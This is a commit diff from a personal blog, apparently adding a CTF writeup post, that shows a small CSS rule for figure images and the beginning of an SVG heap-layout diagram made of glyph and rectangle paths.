~jakob/blog

1cef2af664eeac654bfc19578bf751b48ba364bb — Jakob L. Kreuze 4 months ago 08c106d
[org] new post: UMass CTF 2020 - suckless Writeup
M haunt/static/css/style.css => haunt/static/css/style.css +6 -0
@@ 127,6 127,12 @@ figure > img {
    border-radius: 2px;
}

figure > .org-svg {
    display: block;
    max-width: 90%;
    margin: auto;
}

figure > figcaption {
    padding-top: 1rem;
}

A haunt/static/image/MyrddinHeap.svg => haunt/static/image/MyrddinHeap.svg +694 -0
@@ 0,0 1,694 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="368.902pt" height="242.225pt" viewBox="0 0 368.902 242.225" version="1.1">
<defs>
<g>
<symbol overflow="visible" id="glyph0-0">
<path style="stroke:none;" d=""/>
</symbol>
<symbol overflow="visible" id="glyph0-1">
<path style="stroke:none;" d="M 4.578125 -3.1875 C 4.578125 -3.984375 4.53125 -4.78125 4.1875 -5.515625 C 3.734375 -6.484375 2.90625 -6.640625 2.5 -6.640625 C 1.890625 -6.640625 1.171875 -6.375 0.75 -5.453125 C 0.4375 -4.765625 0.390625 -3.984375 0.390625 -3.1875 C 0.390625 -2.4375 0.421875 -1.546875 0.84375 -0.78125 C 1.265625 0.015625 2 0.21875 2.484375 0.21875 C 3.015625 0.21875 3.78125 0.015625 4.21875 -0.9375 C 4.53125 -1.625 4.578125 -2.40625 4.578125 -3.1875 Z M 2.484375 0 C 2.09375 0 1.5 -0.25 1.328125 -1.203125 C 1.21875 -1.796875 1.21875 -2.71875 1.21875 -3.3125 C 1.21875 -3.953125 1.21875 -4.609375 1.296875 -5.140625 C 1.484375 -6.328125 2.234375 -6.421875 2.484375 -6.421875 C 2.8125 -6.421875 3.46875 -6.234375 3.65625 -5.25 C 3.765625 -4.6875 3.765625 -3.9375 3.765625 -3.3125 C 3.765625 -2.5625 3.765625 -1.890625 3.65625 -1.25 C 3.5 -0.296875 2.9375 0 2.484375 0 Z M 2.484375 0 "/>
</symbol>
<symbol overflow="visible" id="glyph0-2">
<path style="stroke:none;" d="M 4.75 -6.078125 C 4.828125 -6.1875 4.828125 -6.203125 4.828125 -6.421875 L 2.40625 -6.421875 C 1.203125 -6.421875 1.171875 -6.546875 1.140625 -6.734375 L 0.890625 -6.734375 L 0.5625 -4.6875 L 0.8125 -4.6875 C 0.84375 -4.84375 0.921875 -5.46875 1.0625 -5.59375 C 1.125 -5.65625 1.90625 -5.65625 2.03125 -5.65625 L 4.09375 -5.65625 C 3.984375 -5.5 3.203125 -4.40625 2.984375 -4.078125 C 2.078125 -2.734375 1.75 -1.34375 1.75 -0.328125 C 1.75 -0.234375 1.75 0.21875 2.21875 0.21875 C 2.671875 0.21875 2.671875 -0.234375 2.671875 -0.328125 L 2.671875 -0.84375 C 2.671875 -1.390625 2.703125 -1.9375 2.78125 -2.46875 C 2.828125 -2.703125 2.953125 -3.5625 3.40625 -4.171875 Z M 4.75 -6.078125 "/>
</symbol>
<symbol overflow="visible" id="glyph0-3">
<path style="stroke:none;" d="M 2.890625 -3.515625 C 3.703125 -3.78125 4.28125 -4.46875 4.28125 -5.265625 C 4.28125 -6.078125 3.40625 -6.640625 2.453125 -6.640625 C 1.453125 -6.640625 0.6875 -6.046875 0.6875 -5.28125 C 0.6875 -4.953125 0.90625 -4.765625 1.203125 -4.765625 C 1.5 -4.765625 1.703125 -4.984375 1.703125 -5.28125 C 1.703125 -5.765625 1.234375 -5.765625 1.09375 -5.765625 C 1.390625 -6.265625 2.046875 -6.390625 2.40625 -6.390625 C 2.828125 -6.390625 3.375 -6.171875 3.375 -5.28125 C 3.375 -5.15625 3.34375 -4.578125 3.09375 -4.140625 C 2.796875 -3.65625 2.453125 -3.625 2.203125 -3.625 C 2.125 -3.609375 1.890625 -3.59375 1.8125 -3.59375 C 1.734375 -3.578125 1.671875 -3.5625 1.671875 -3.46875 C 1.671875 -3.359375 1.734375 -3.359375 1.90625 -3.359375 L 2.34375 -3.359375 C 3.15625 -3.359375 3.53125 -2.6875 3.53125 -1.703125 C 3.53125 -0.34375 2.84375 -0.0625 2.40625 -0.0625 C 1.96875 -0.0625 1.21875 -0.234375 0.875 -0.8125 C 1.21875 -0.765625 1.53125 -0.984375 1.53125 -1.359375 C 1.53125 -1.71875 1.265625 -1.921875 0.984375 -1.921875 C 0.734375 -1.921875 0.421875 -1.78125 0.421875 -1.34375 C 0.421875 -0.4375 1.34375 0.21875 2.4375 0.21875 C 3.65625 0.21875 4.5625 -0.6875 4.5625 -1.703125 C 4.5625 -2.515625 3.921875 -3.296875 2.890625 -3.515625 Z M 2.890625 -3.515625 "/>
</symbol>
<symbol overflow="visible" id="glyph0-4">
<path style="stroke:none;" d="M 2.9375 -1.640625 L 2.9375 -0.78125 C 2.9375 -0.421875 2.90625 -0.3125 2.171875 -0.3125 L 1.96875 -0.3125 L 1.96875 0 C 2.375 -0.03125 2.890625 -0.03125 3.3125 -0.03125 C 3.734375 -0.03125 4.25 -0.03125 4.671875 0 L 4.671875 -0.3125 L 4.453125 -0.3125 C 3.71875 -0.3125 3.703125 -0.421875 3.703125 -0.78125 L 3.703125 -1.640625 L 4.6875 -1.640625 L 4.6875 -1.953125 L 3.703125 -1.953125 L 3.703125 -6.484375 C 3.703125 -6.6875 3.703125 -6.75 3.53125 -6.75 C 3.453125 -6.75 3.421875 -6.75 3.34375 -6.625 L 0.28125 -1.953125 L 0.28125 -1.640625 Z M 2.984375 -1.953125 L 0.5625 -1.953125 L 2.984375 -5.671875 Z M 2.984375 -1.953125 "/>
</symbol>
<symbol overflow="visible" id="glyph0-5">
<path style="stroke:none;" d="M 4.46875 -2 C 4.46875 -3.1875 3.65625 -4.1875 2.578125 -4.1875 C 2.109375 -4.1875 1.671875 -4.03125 1.3125 -3.671875 L 1.3125 -5.625 C 1.515625 -5.5625 1.84375 -5.5 2.15625 -5.5 C 3.390625 -5.5 4.09375 -6.40625 4.09375 -6.53125 C 4.09375 -6.59375 4.0625 -6.640625 3.984375 -6.640625 C 3.984375 -6.640625 3.953125 -6.640625 3.90625 -6.609375 C 3.703125 -6.515625 3.21875 -6.3125 2.546875 -6.3125 C 2.15625 -6.3125 1.6875 -6.390625 1.21875 -6.59375 C 1.140625 -6.625 1.125 -6.625 1.109375 -6.625 C 1 -6.625 1 -6.546875 1 -6.390625 L 1 -3.4375 C 1 -3.265625 1 -3.1875 1.140625 -3.1875 C 1.21875 -3.1875 1.234375 -3.203125 1.28125 -3.265625 C 1.390625 -3.421875 1.75 -3.96875 2.5625 -3.96875 C 3.078125 -3.96875 3.328125 -3.515625 3.40625 -3.328125 C 3.5625 -2.953125 3.59375 -2.578125 3.59375 -2.078125 C 3.59375 -1.71875 3.59375 -1.125 3.34375 -0.703125 C 3.109375 -0.3125 2.734375 -0.0625 2.28125 -0.0625 C 1.5625 -0.0625 0.984375 -0.59375 0.8125 -1.171875 C 0.84375 -1.171875 0.875 -1.15625 0.984375 -1.15625 C 1.3125 -1.15625 1.484375 -1.40625 1.484375 -1.640625 C 1.484375 -1.890625 1.3125 -2.140625 0.984375 -2.140625 C 0.84375 -2.140625 0.5 -2.0625 0.5 -1.609375 C 0.5 -0.75 1.1875 0.21875 2.296875 0.21875 C 3.453125 0.21875 4.46875 -0.734375 4.46875 -2 Z M 4.46875 -2 "/>
</symbol>
<symbol overflow="visible" id="glyph0-6">
<path style="stroke:none;" d="M 1.3125 -3.265625 L 1.3125 -3.515625 C 1.3125 -6.03125 2.546875 -6.390625 3.0625 -6.390625 C 3.296875 -6.390625 3.71875 -6.328125 3.9375 -5.984375 C 3.78125 -5.984375 3.390625 -5.984375 3.390625 -5.546875 C 3.390625 -5.234375 3.625 -5.078125 3.84375 -5.078125 C 4 -5.078125 4.3125 -5.171875 4.3125 -5.5625 C 4.3125 -6.15625 3.875 -6.640625 3.046875 -6.640625 C 1.765625 -6.640625 0.421875 -5.359375 0.421875 -3.15625 C 0.421875 -0.484375 1.578125 0.21875 2.5 0.21875 C 3.609375 0.21875 4.5625 -0.71875 4.5625 -2.03125 C 4.5625 -3.296875 3.671875 -4.25 2.5625 -4.25 C 1.890625 -4.25 1.515625 -3.75 1.3125 -3.265625 Z M 2.5 -0.0625 C 1.875 -0.0625 1.578125 -0.65625 1.515625 -0.8125 C 1.328125 -1.28125 1.328125 -2.078125 1.328125 -2.25 C 1.328125 -3.03125 1.65625 -4.03125 2.546875 -4.03125 C 2.71875 -4.03125 3.171875 -4.03125 3.484375 -3.40625 C 3.65625 -3.046875 3.65625 -2.53125 3.65625 -2.046875 C 3.65625 -1.5625 3.65625 -1.0625 3.484375 -0.703125 C 3.1875 -0.109375 2.734375 -0.0625 2.5 -0.0625 Z M 2.5 -0.0625 "/>
</symbol>
<symbol overflow="visible" id="glyph0-7">
<path style="stroke:none;" d="M 3.296875 2.390625 C 3.296875 2.359375 3.296875 2.34375 3.125 2.171875 C 1.890625 0.921875 1.5625 -0.96875 1.5625 -2.5 C 1.5625 -4.234375 1.9375 -5.96875 3.171875 -7.203125 C 3.296875 -7.328125 3.296875 -7.34375 3.296875 -7.375 C 3.296875 -7.453125 3.265625 -7.484375 3.203125 -7.484375 C 3.09375 -7.484375 2.203125 -6.796875 1.609375 -5.53125 C 1.109375 -4.4375 0.984375 -3.328125 0.984375 -2.5 C 0.984375 -1.71875 1.09375 -0.515625 1.640625 0.625 C 2.25 1.84375 3.09375 2.5 3.203125 2.5 C 3.265625 2.5 3.296875 2.46875 3.296875 2.390625 Z M 3.296875 2.390625 "/>
</symbol>
<symbol overflow="visible" id="glyph0-8">
<path style="stroke:none;" d="M 2.21875 -1.71875 C 1.34375 -1.71875 1.34375 -2.71875 1.34375 -2.9375 C 1.34375 -3.203125 1.359375 -3.53125 1.5 -3.78125 C 1.578125 -3.890625 1.8125 -4.171875 2.21875 -4.171875 C 3.078125 -4.171875 3.078125 -3.1875 3.078125 -2.953125 C 3.078125 -2.6875 3.078125 -2.359375 2.921875 -2.109375 C 2.84375 -2 2.609375 -1.71875 2.21875 -1.71875 Z M 1.0625 -1.328125 C 1.0625 -1.359375 1.0625 -1.59375 1.21875 -1.796875 C 1.609375 -1.515625 2.03125 -1.484375 2.21875 -1.484375 C 3.140625 -1.484375 3.828125 -2.171875 3.828125 -2.9375 C 3.828125 -3.3125 3.671875 -3.671875 3.421875 -3.90625 C 3.78125 -4.25 4.140625 -4.296875 4.3125 -4.296875 C 4.34375 -4.296875 4.390625 -4.296875 4.421875 -4.28125 C 4.3125 -4.25 4.25 -4.140625 4.25 -4.015625 C 4.25 -3.84375 4.390625 -3.734375 4.546875 -3.734375 C 4.640625 -3.734375 4.828125 -3.796875 4.828125 -4.03125 C 4.828125 -4.203125 4.71875 -4.515625 4.328125 -4.515625 C 4.125 -4.515625 3.6875 -4.453125 3.265625 -4.046875 C 2.84375 -4.375 2.4375 -4.40625 2.21875 -4.40625 C 1.28125 -4.40625 0.59375 -3.71875 0.59375 -2.953125 C 0.59375 -2.515625 0.8125 -2.140625 1.0625 -1.921875 C 0.9375 -1.78125 0.75 -1.453125 0.75 -1.09375 C 0.75 -0.78125 0.890625 -0.40625 1.203125 -0.203125 C 0.59375 -0.046875 0.28125 0.390625 0.28125 0.78125 C 0.28125 1.5 1.265625 2.046875 2.484375 2.046875 C 3.65625 2.046875 4.6875 1.546875 4.6875 0.765625 C 4.6875 0.421875 4.5625 -0.09375 4.046875 -0.375 C 3.515625 -0.640625 2.9375 -0.640625 2.328125 -0.640625 C 2.078125 -0.640625 1.65625 -0.640625 1.578125 -0.65625 C 1.265625 -0.703125 1.0625 -1 1.0625 -1.328125 Z M 2.5 1.828125 C 1.484375 1.828125 0.796875 1.3125 0.796875 0.78125 C 0.796875 0.328125 1.171875 -0.046875 1.609375 -0.0625 L 2.203125 -0.0625 C 3.0625 -0.0625 4.171875 -0.0625 4.171875 0.78125 C 4.171875 1.328125 3.46875 1.828125 2.5 1.828125 Z M 2.5 1.828125 "/>
</symbol>
<symbol overflow="visible" id="glyph0-9">
<path style="stroke:none;" d="M 3.78125 -0.546875 L 3.78125 0.109375 L 5.25 0 L 5.25 -0.3125 C 4.5625 -0.3125 4.46875 -0.375 4.46875 -0.875 L 4.46875 -6.921875 L 3.046875 -6.8125 L 3.046875 -6.5 C 3.734375 -6.5 3.8125 -6.4375 3.8125 -5.9375 L 3.8125 -3.78125 C 3.53125 -4.140625 3.09375 -4.40625 2.5625 -4.40625 C 1.390625 -4.40625 0.34375 -3.421875 0.34375 -2.140625 C 0.34375 -0.875 1.3125 0.109375 2.453125 0.109375 C 3.09375 0.109375 3.53125 -0.234375 3.78125 -0.546875 Z M 3.78125 -3.21875 L 3.78125 -1.171875 C 3.78125 -1 3.78125 -0.984375 3.671875 -0.8125 C 3.375 -0.328125 2.9375 -0.109375 2.5 -0.109375 C 2.046875 -0.109375 1.6875 -0.375 1.453125 -0.75 C 1.203125 -1.15625 1.171875 -1.71875 1.171875 -2.140625 C 1.171875 -2.5 1.1875 -3.09375 1.46875 -3.546875 C 1.6875 -3.859375 2.0625 -4.1875 2.609375 -4.1875 C 2.953125 -4.1875 3.375 -4.03125 3.671875 -3.59375 C 3.78125 -3.421875 3.78125 -3.40625 3.78125 -3.21875 Z M 3.78125 -3.21875 "/>
</symbol>
<symbol overflow="visible" id="glyph0-10">
<path style="stroke:none;" d="M 1.71875 -3.765625 L 1.71875 -6.921875 L 0.28125 -6.8125 L 0.28125 -6.5 C 0.984375 -6.5 1.0625 -6.4375 1.0625 -5.9375 L 1.0625 0 L 1.3125 0 C 1.3125 -0.015625 1.390625 -0.15625 1.671875 -0.625 C 1.8125 -0.390625 2.234375 0.109375 2.96875 0.109375 C 4.15625 0.109375 5.1875 -0.875 5.1875 -2.15625 C 5.1875 -3.421875 4.21875 -4.40625 3.078125 -4.40625 C 2.296875 -4.40625 1.875 -3.9375 1.71875 -3.765625 Z M 1.75 -1.140625 L 1.75 -3.1875 C 1.75 -3.375 1.75 -3.390625 1.859375 -3.546875 C 2.25 -4.109375 2.796875 -4.1875 3.03125 -4.1875 C 3.484375 -4.1875 3.84375 -3.921875 4.078125 -3.546875 C 4.34375 -3.140625 4.359375 -2.578125 4.359375 -2.15625 C 4.359375 -1.796875 4.34375 -1.203125 4.0625 -0.75 C 3.84375 -0.4375 3.46875 -0.109375 2.9375 -0.109375 C 2.484375 -0.109375 2.125 -0.34375 1.890625 -0.71875 C 1.75 -0.921875 1.75 -0.953125 1.75 -1.140625 Z M 1.75 -1.140625 "/>
</symbol>
<symbol overflow="visible" id="glyph0-11">
<path style="stroke:none;" d="M 2.875 -2.5 C 2.875 -3.265625 2.765625 -4.46875 2.21875 -5.609375 C 1.625 -6.828125 0.765625 -7.484375 0.671875 -7.484375 C 0.609375 -7.484375 0.5625 -7.4375 0.5625 -7.375 C 0.5625 -7.34375 0.5625 -7.328125 0.75 -7.140625 C 1.734375 -6.15625 2.296875 -4.578125 2.296875 -2.5 C 2.296875 -0.78125 1.9375 0.96875 0.703125 2.21875 C 0.5625 2.34375 0.5625 2.359375 0.5625 2.390625 C 0.5625 2.453125 0.609375 2.5 0.671875 2.5 C 0.765625 2.5 1.671875 1.8125 2.25 0.546875 C 2.765625 -0.546875 2.875 -1.65625 2.875 -2.5 Z M 2.875 -2.5 "/>
</symbol>
<symbol overflow="visible" id="glyph0-12">
<path style="stroke:none;" d="M 2.859375 -2.34375 C 3.15625 -2.71875 3.53125 -3.203125 3.78125 -3.46875 C 4.09375 -3.828125 4.5 -3.984375 4.96875 -3.984375 L 4.96875 -4.296875 C 4.703125 -4.28125 4.40625 -4.265625 4.140625 -4.265625 C 3.84375 -4.265625 3.3125 -4.28125 3.1875 -4.296875 L 3.1875 -3.984375 C 3.40625 -3.96875 3.484375 -3.84375 3.484375 -3.671875 C 3.484375 -3.515625 3.375 -3.390625 3.328125 -3.328125 L 2.71875 -2.546875 L 1.9375 -3.5625 C 1.84375 -3.65625 1.84375 -3.671875 1.84375 -3.734375 C 1.84375 -3.890625 2 -3.984375 2.1875 -3.984375 L 2.1875 -4.296875 C 1.9375 -4.28125 1.28125 -4.265625 1.109375 -4.265625 C 0.90625 -4.265625 0.4375 -4.28125 0.171875 -4.296875 L 0.171875 -3.984375 C 0.875 -3.984375 0.875 -3.984375 1.34375 -3.375 L 2.328125 -2.09375 L 1.390625 -0.90625 C 0.921875 -0.328125 0.328125 -0.3125 0.125 -0.3125 L 0.125 0 C 0.375 -0.015625 0.6875 -0.03125 0.953125 -0.03125 C 1.234375 -0.03125 1.65625 -0.015625 1.890625 0 L 1.890625 -0.3125 C 1.671875 -0.34375 1.609375 -0.46875 1.609375 -0.625 C 1.609375 -0.84375 1.890625 -1.171875 2.5 -1.890625 L 3.265625 -0.890625 C 3.34375 -0.78125 3.46875 -0.625 3.46875 -0.5625 C 3.46875 -0.46875 3.375 -0.3125 3.109375 -0.3125 L 3.109375 0 C 3.40625 -0.015625 3.96875 -0.03125 4.1875 -0.03125 C 4.453125 -0.03125 4.84375 -0.015625 5.140625 0 L 5.140625 -0.3125 C 4.609375 -0.3125 4.421875 -0.328125 4.203125 -0.625 Z M 2.859375 -2.34375 "/>
</symbol>
<symbol overflow="visible" id="glyph0-13">
<path style="stroke:none;" d="M 4.359375 -7.09375 C 4.421875 -7.234375 4.421875 -7.25 4.421875 -7.28125 C 4.421875 -7.390625 4.328125 -7.484375 4.21875 -7.484375 C 4.078125 -7.484375 4.03125 -7.375 4 -7.28125 L 0.609375 2.109375 C 0.5625 2.25 0.5625 2.265625 0.5625 2.296875 C 0.5625 2.40625 0.640625 2.5 0.75 2.5 C 0.890625 2.5 0.9375 2.390625 0.96875 2.296875 Z M 4.359375 -7.09375 "/>
</symbol>
<symbol overflow="visible" id="glyph0-14">
<path style="stroke:none;" d="M 1.90625 -3.765625 C 1.90625 -4.0625 1.671875 -4.296875 1.390625 -4.296875 C 1.09375 -4.296875 0.859375 -4.0625 0.859375 -3.765625 C 0.859375 -3.484375 1.09375 -3.234375 1.390625 -3.234375 C 1.671875 -3.234375 1.90625 -3.484375 1.90625 -3.765625 Z M 1.90625 -0.53125 C 1.90625 -0.8125 1.671875 -1.0625 1.390625 -1.0625 C 1.09375 -1.0625 0.859375 -0.8125 0.859375 -0.53125 C 0.859375 -0.234375 1.09375 0 1.390625 0 C 1.671875 0 1.90625 -0.234375 1.90625 -0.53125 Z M 1.90625 -0.53125 "/>
</symbol>
<symbol overflow="visible" id="glyph0-15">
<path style="stroke:none;" d="M 1.265625 -0.765625 L 2.328125 -1.796875 C 3.875 -3.171875 4.46875 -3.703125 4.46875 -4.703125 C 4.46875 -5.84375 3.578125 -6.640625 2.359375 -6.640625 C 1.234375 -6.640625 0.5 -5.71875 0.5 -4.828125 C 0.5 -4.28125 1 -4.28125 1.03125 -4.28125 C 1.203125 -4.28125 1.546875 -4.390625 1.546875 -4.8125 C 1.546875 -5.0625 1.359375 -5.328125 1.015625 -5.328125 C 0.9375 -5.328125 0.921875 -5.328125 0.890625 -5.3125 C 1.109375 -5.96875 1.65625 -6.328125 2.234375 -6.328125 C 3.140625 -6.328125 3.5625 -5.515625 3.5625 -4.703125 C 3.5625 -3.90625 3.078125 -3.125 2.515625 -2.5 L 0.609375 -0.375 C 0.5 -0.265625 0.5 -0.234375 0.5 0 L 4.203125 0 L 4.46875 -1.734375 L 4.234375 -1.734375 C 4.171875 -1.4375 4.109375 -1 4 -0.84375 C 3.9375 -0.765625 3.28125 -0.765625 3.0625 -0.765625 Z M 1.265625 -0.765625 "/>
</symbol>
<symbol overflow="visible" id="glyph1-0">
<path style="stroke:none;" d=""/>
</symbol>
<symbol overflow="visible" id="glyph1-1">
<path style="stroke:none;" d="M 3.328125 -3.015625 C 3.390625 -3.265625 3.625 -4.1875 4.3125 -4.1875 C 4.359375 -4.1875 4.609375 -4.1875 4.8125 -4.0625 C 4.53125 -4 4.34375 -3.765625 4.34375 -3.515625 C 4.34375 -3.359375 4.453125 -3.171875 4.71875 -3.171875 C 4.9375 -3.171875 5.25 -3.34375 5.25 -3.75 C 5.25 -4.265625 4.671875 -4.40625 4.328125 -4.40625 C 3.75 -4.40625 3.40625 -3.875 3.28125 -3.65625 C 3.03125 -4.3125 2.5 -4.40625 2.203125 -4.40625 C 1.171875 -4.40625 0.59375 -3.125 0.59375 -2.875 C 0.59375 -2.765625 0.703125 -2.765625 0.71875 -2.765625 C 0.796875 -2.765625 0.828125 -2.796875 0.84375 -2.875 C 1.1875 -3.9375 1.84375 -4.1875 2.1875 -4.1875 C 2.375 -4.1875 2.71875 -4.09375 2.71875 -3.515625 C 2.71875 -3.203125 2.546875 -2.546875 2.1875 -1.140625 C 2.03125 -0.53125 1.671875 -0.109375 1.234375 -0.109375 C 1.171875 -0.109375 0.953125 -0.109375 0.734375 -0.234375 C 0.984375 -0.296875 1.203125 -0.5 1.203125 -0.78125 C 1.203125 -1.046875 0.984375 -1.125 0.84375 -1.125 C 0.53125 -1.125 0.296875 -0.875 0.296875 -0.546875 C 0.296875 -0.09375 0.78125 0.109375 1.21875 0.109375 C 1.890625 0.109375 2.25 -0.59375 2.265625 -0.640625 C 2.390625 -0.28125 2.75 0.109375 3.34375 0.109375 C 4.375 0.109375 4.9375 -1.171875 4.9375 -1.421875 C 4.9375 -1.53125 4.859375 -1.53125 4.828125 -1.53125 C 4.734375 -1.53125 4.71875 -1.484375 4.6875 -1.421875 C 4.359375 -0.34375 3.6875 -0.109375 3.375 -0.109375 C 2.984375 -0.109375 2.828125 -0.421875 2.828125 -0.765625 C 2.828125 -0.984375 2.875 -1.203125 2.984375 -1.640625 Z M 3.328125 -3.015625 "/>
</symbol>
<symbol overflow="visible" id="glyph1-2">
<path style="stroke:none;" d="M 3.65625 -3.984375 L 4.515625 -3.984375 C 4.71875 -3.984375 4.8125 -3.984375 4.8125 -4.1875 C 4.8125 -4.296875 4.71875 -4.296875 4.546875 -4.296875 L 3.71875 -4.296875 L 3.921875 -5.4375 C 3.96875 -5.640625 4.109375 -6.34375 4.171875 -6.46875 C 4.25 -6.65625 4.421875 -6.8125 4.640625 -6.8125 C 4.671875 -6.8125 4.9375 -6.8125 5.125 -6.625 C 4.6875 -6.59375 4.578125 -6.234375 4.578125 -6.09375 C 4.578125 -5.859375 4.765625 -5.734375 4.953125 -5.734375 C 5.21875 -5.734375 5.5 -5.96875 5.5 -6.34375 C 5.5 -6.796875 5.046875 -7.03125 4.640625 -7.03125 C 4.296875 -7.03125 3.671875 -6.84375 3.375 -5.859375 C 3.3125 -5.65625 3.28125 -5.546875 3.046875 -4.296875 L 2.359375 -4.296875 C 2.15625 -4.296875 2.046875 -4.296875 2.046875 -4.109375 C 2.046875 -3.984375 2.140625 -3.984375 2.328125 -3.984375 L 2.984375 -3.984375 L 2.25 -0.046875 C 2.0625 0.921875 1.890625 1.828125 1.375 1.828125 C 1.328125 1.828125 1.09375 1.828125 0.890625 1.640625 C 1.359375 1.609375 1.453125 1.25 1.453125 1.109375 C 1.453125 0.875 1.265625 0.75 1.078125 0.75 C 0.8125 0.75 0.53125 0.984375 0.53125 1.359375 C 0.53125 1.796875 0.96875 2.046875 1.375 2.046875 C 1.921875 2.046875 2.328125 1.453125 2.5 1.078125 C 2.828125 0.453125 3.046875 -0.75 3.0625 -0.828125 Z M 3.65625 -3.984375 "/>
</symbol>
<symbol overflow="visible" id="glyph1-3">
<path style="stroke:none;" d="M 2.375 -6.8125 C 2.375 -6.8125 2.375 -6.921875 2.25 -6.921875 C 2.03125 -6.921875 1.296875 -6.84375 1.03125 -6.8125 C 0.953125 -6.8125 0.84375 -6.796875 0.84375 -6.625 C 0.84375 -6.5 0.9375 -6.5 1.09375 -6.5 C 1.5625 -6.5 1.578125 -6.4375 1.578125 -6.328125 C 1.578125 -6.265625 1.5 -5.921875 1.453125 -5.71875 L 0.625 -2.46875 C 0.515625 -1.96875 0.46875 -1.796875 0.46875 -1.453125 C 0.46875 -0.515625 1 0.109375 1.734375 0.109375 C 2.90625 0.109375 4.140625 -1.375 4.140625 -2.8125 C 4.140625 -3.71875 3.609375 -4.40625 2.8125 -4.40625 C 2.359375 -4.40625 1.9375 -4.109375 1.640625 -3.8125 Z M 1.453125 -3.046875 C 1.5 -3.265625 1.5 -3.28125 1.59375 -3.390625 C 2.078125 -4.03125 2.53125 -4.1875 2.796875 -4.1875 C 3.15625 -4.1875 3.421875 -3.890625 3.421875 -3.25 C 3.421875 -2.65625 3.09375 -1.515625 2.90625 -1.140625 C 2.578125 -0.46875 2.125 -0.109375 1.734375 -0.109375 C 1.390625 -0.109375 1.0625 -0.375 1.0625 -1.109375 C 1.0625 -1.3125 1.0625 -1.5 1.21875 -2.125 Z M 1.453125 -3.046875 "/>
</symbol>
</g>
<clipPath id="clip1">
  <path d="M 255 142 L 368.902344 142 L 368.902344 157 L 255 157 Z M 255 142 "/>
</clipPath>
<clipPath id="clip2">
  <path d="M 255 170 L 368.902344 170 L 368.902344 186 L 255 186 Z M 255 170 "/>
</clipPath>
<clipPath id="clip3">
  <path d="M 255 198 L 368.902344 198 L 368.902344 214 L 255 214 Z M 255 198 "/>
</clipPath>
<clipPath id="clip4">
  <path d="M 255 227 L 368.902344 227 L 368.902344 242 L 255 242 Z M 255 227 "/>
</clipPath>
</defs>
<g id="surface1">
<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.00021875 0.0006875 L 0.00021875 28.348344 L 5.668188 28.348344 L 5.668188 0.0006875 Z M 0.00021875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 5.668188 0.0006875 L 5.668188 28.348344 L 11.340063 28.348344 L 11.340063 0.0006875 Z M 5.668188 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.340063 0.0006875 L 11.340063 28.348344 L 17.008031 28.348344 L 17.008031 0.0006875 Z M 11.340063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 17.008031 0.0006875 L 17.008031 28.348344 L 22.676 28.348344 L 22.676 0.0006875 Z M 17.008031 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.676 0.0006875 L 22.676 28.348344 L 28.347875 28.348344 L 28.347875 0.0006875 Z M 22.676 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.347875 0.0006875 L 28.347875 28.348344 L 34.015844 28.348344 L 34.015844 0.0006875 Z M 28.347875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 34.015844 0.0006875 L 34.015844 28.348344 L 39.683813 28.348344 L 39.683813 0.0006875 Z M 34.015844 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 39.683813 0.0006875 L 39.683813 28.348344 L 45.355688 28.348344 L 45.355688 0.0006875 Z M 39.683813 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 45.355688 0.0006875 L 45.355688 28.348344 L 51.023656 28.348344 L 51.023656 0.0006875 Z M 45.355688 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 51.023656 0.0006875 L 51.023656 28.348344 L 56.691625 28.348344 L 56.691625 0.0006875 Z M 51.023656 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
